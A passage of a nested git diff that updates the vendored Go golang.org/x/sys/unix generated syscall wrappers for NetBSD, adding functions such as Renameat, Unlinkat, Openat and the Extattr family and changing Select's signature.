-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1012,6 +1446,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1053,8 +1507,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1189,6 +1644,21 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Statvfs1(path string, buf *Statvfs_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATVFS1, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1209,6 +1679,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
- if e1 != 0 {
-@@ -1257,6 +1747,21 @@ func Unlink(path string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go
-index 0f4cc3b5..1153fe69 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_netbsd_arm.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -netbsd -arm -tags netbsd,arm syscall_bsd.go syscall_netbsd.go syscall_netbsd_arm.go
-+// go run mksyscall.go -l32 -netbsd -arm -tags netbsd,arm syscall_bsd.go syscall_netbsd.go syscall_netbsd_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build netbsd,arm
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -378,7 +362,7 @@ func pipe() (fd1 int, fd2 int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-+func Getdents(fd int, buf []byte) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -395,6 +379,49 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -526,6 +553,16 @@ func Dup2(from int, to int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Dup3(from int, to int, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP3, uintptr(from), uintptr(to), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Exit(code int) {
- Syscall(SYS_EXIT, uintptr(code), 0, 0)
- return
-@@ -533,6 +570,245 @@ func Exit(code int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ExtattrGetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFd(fd int, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFd(fd int, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FD, uintptr(fd), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p0)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFd(fd int, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FD, uintptr(fd), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetFile(file string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteFile(file string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListFile(file string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(file)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_FILE, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrGetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_GET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrSetLink(link string, attrnamespace int, attrname string, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_SET_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)), uintptr(data), uintptr(nbytes), 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrDeleteLink(link string, attrnamespace int, attrname string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attrname)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_EXTATTR_DELETE_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(unsafe.Pointer(_p1)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ExtattrListLink(link string, attrnamespace int, data uintptr, nbytes int) (ret int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_EXTATTR_LIST_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(attrnamespace), uintptr(data), uintptr(nbytes), 0, 0)
-+ ret = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall9(SYS_POSIX_FADVISE, uintptr(fd), 0, uintptr(offset), uintptr(offset>>32), 0, uintptr(length), uintptr(length>>32), uintptr(advice), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchdir(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -563,6 +839,21 @@ func Fchmod(fd int, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fchown(fd int, uid int, gid int) (err error) {
- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
-@@ -573,6 +864,21 @@ func Fchown(fd int, uid int, gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Flock(fd int, how int) (err error) {
- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
-@@ -604,6 +910,31 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatvfs1(fd int, buf *Statvfs_t, flags int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATVFS1, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -807,6 +1138,26 @@ func Link(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(link)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Listen(s int, backlog int) (err error) {
- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
-@@ -847,6 +1198,21 @@ func Mkdir(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mkfifo(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -862,6 +1228,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -877,6 +1258,21 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -903,6 +1299,22 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ fd = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Pathconf(path string, name int) (val int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -992,6 +1404,28 @@ func Readlink(path string, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p1 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p1 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Rename(from string, to string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(from)
-@@ -1012,6 +1446,26 @@ func Rename(from string, to string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(from)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(to)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Revoke(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1053,8 +1507,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1189,6 +1644,21 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Statvfs1(path string, buf *Statvfs_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATVFS1, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(buf)), uintptr(flags))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1209,6 +1679,26 @@ func Symlink(path string, link string) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
